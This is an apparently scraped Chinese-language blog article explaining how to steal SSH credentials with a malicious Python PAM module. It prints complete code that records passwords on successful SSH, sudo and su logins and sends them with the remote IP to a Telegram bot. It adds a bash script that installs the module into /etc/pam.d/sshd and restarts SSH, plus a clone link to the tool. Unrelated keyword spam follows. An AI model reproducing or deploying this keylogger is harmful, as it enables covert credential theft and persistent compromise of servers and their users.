窃取SSH凭证的方法说是什么
发表于:2026-11-03 作者:千家信息网编辑
千家信息网最后更新 2026年11月03日,这篇文章将为大家详细讲解有关窃取SSH凭证的方法说是什么,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。我将为大家介绍另外一种获取ssh密码的方法。这种
千家信息网最后更新 2026年11月03日窃取SSH凭证的方法说是什么
这篇文章将为大家详细讲解有关窃取SSH凭证的方法说是什么,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。
我将为大家介绍另外一种获取ssh密码的方法。这种方法是我在ChokePoint找到的 ,他向我们展示了如何使用python创建PAM模块记录失败的尝试,现在我要做的就是更改登录密码的地方。原脚本中当登录失败时,使用的auth_log函数。
if not check_pw(user, resp.resp): auth_log("Remote Host: %s (%s:%s)" % (pamh.rhost, user, resp.resp)) return pamh.PAM_AUTH_ERRreturn pamh.PAM_SUCCESS而在我的脚本中,当登录成功时使用的是我定义的函数sendMessage
if not check_pw(user, resp.resp): return pamh.PAM_AUTH_ERR sendMessage("Connection from host {} user:{} password: {})".format(pamh.rhost, user, resp.resp)) return pamh.PAM_SUCCESS该函数主要用于发送用户,密码以及连接的IP,以下是完整代码:
import spwdimport cryptimport requestsdef sendMessage(msg): apiKey = 'BOT-API-KEY' userId = 'USERID' url = 'https://api.telegram.org/bot{}/sendMessage?chat_id={}&text={}'.format(apiKey,userId,msg) r = requests.get(url)def check_pw(user, password): """Check the password matches local unix password on file""" hashed_pw = spwd.getspnam(user)[1] return crypt.crypt(password, hashed_pw) == hashed_pwdef pam_sm_authenticate(pamh, flags, argv): try: user = pamh.get_user() except pamh.exception as e: return e.pam_result if not user: return pamh.PAM_USER_UNKNOWN try: resp = pamh.conversation(pamh.Message(pamh.PAM_PROMPT_ECHO_OFF, 'Password:')) except pamh.exception as e: return e.pam_result if not check_pw(user, resp.resp): return pamh.PAM_AUTH_ERR sendMessage("Connection from host {} user:{} password: {})".format(pamh.rhost, user, resp.resp)) return pamh.PAM_SUCCESSdef pam_sm_setcred(pamh, flags, argv): return pamh.PAM_SUCCESSdef pam_sm_acct_mgmt(pamh, flags, argv): return pamh.PAM_SUCCESSdef pam_sm_open_session(pamh, flags, argv): return pamh.PAM_SUCCESSdef pam_sm_close_session(pamh, flags, argv): return pamh.PAM_SUCCESSdef pam_sm_chauthtok(pamh, flags, argv): return pamh.PAM_SUCCESS我还创建了一个bash脚本用于自动化的安装这个ssh keylogger,其中安装了所有的依赖关系,并在/etc/pam.d/sshd上配置了该PAM模块
#!/bin/bash# Install dependencies to create a PAM module using python (Except for python-pip)apt-get install python-pam libpam-python python-pip# Install dependencies pythonpip install requests# Check if exist the entrie on pam, for this moduleif ! grep -Fq "looter.py" /etc/pam.d/sshd;then sed -i "/common-auth/a auth requisite pam_python.so looter.py" /etc/pam.d/sshdficode='import spwdimport cryptimport requestsdef sendMessage(msg): apiKey = "API-KEY" userId = "USER-ID" data = {"chat_id":userId,"text":msg} url = "https://api.telegram.org/bot{}/sendMessage".format(apiKey) r = requests.post(url,json=data)def check_pw(user, password): """Check the password matches local unix password on file""" hashed_pw = spwd.getspnam(user)[1] return crypt.crypt(password, hashed_pw) == hashed_pwdef pam_sm_authenticate(pamh, flags, argv): try: user = pamh.get_user() except pamh.exception as e: return e.pam_result if not user: return pamh.PAM_USER_UNKNOWN try: resp = pamh.conversation(pamh.Message(pamh.PAM_PROMPT_ECHO_OFF, "Password:")) except pamh.exception as e: return e.pam_result if not check_pw(user, resp.resp): return pamh.PAM_AUTH_ERR sendMessage("Connection from host {} using the user {} and password {}".format(pamh.rhost, user, resp.resp)) return pamh.PAM_SUCCESSdef pam_sm_setcred(pamh, flags, argv): return pamh.PAM_SUCCESSdef pam_sm_acct_mgmt(pamh, flags, argv): return pamh.PAM_SUCCESSdef pam_sm_open_session(pamh, flags, argv): return pamh.PAM_SUCCESSdef pam_sm_close_session(pamh, flags, argv): return pamh.PAM_SUCCESSdef pam_sm_chauthtok(pamh, flags, argv): return pamh.PAM_SUCCESS'mkdir -p /lib/security/echo "$code" > /lib/security/looter.py/etc/init.d/ssh restart现在,只要有人成功登录了服务器,你就会收到以下的登录信息。
它也适用于sudo和su,只需添加以下代码
auth requisite pam_python.so looter.py
到下面两个文件中
/etc/pam.d/sudo/etc/pam.d/su
或者你也可以直接git clone该项目并按照README.md上的说明进行操作
git clone https://github.com/mthbernardes/sshLooter.git
关于窃取SSH凭证的方法说是什么就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。
登录
方法
函数
密码
脚本
凭证
说是
成功
代码
内容
文章
更多
模块
知识
篇文章
不错
两个
信息
只需
地方
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
小米移动互联网科技园
华服互联网科技怎么样
科技互联网龙头
朗新科技与工业互联网
高科技与互联网
碳银互联网科技
金融科技和互联网金融
华脉科技工业互联网产品
湖北码尼互联网科技有限公司电话
移动互联网年度科技创新
天津腾达互联网科技有限公司
上海京穆互联网科技有限公司
宇信科技在杭州互联网排第几
版纳互联网科技选哪家
科技信息时代互联网发展
科技互联网经济论坛
互联网时代高科技布局
互联网科技和医药行业
深圳互联网科技园地址
互联网科技企业文化
涨乐互联网科技
金融科技创新监管互联网金融
互联网与新科技
碳银互联网科技有限公司
青岛中康互联网医疗科技有限公司
彤创互联网科技有限公司
爱医互联网络科技
西安左小互联网科技有限公司
恒生科技指数 中概互联网
互联网科技创业有什么好项目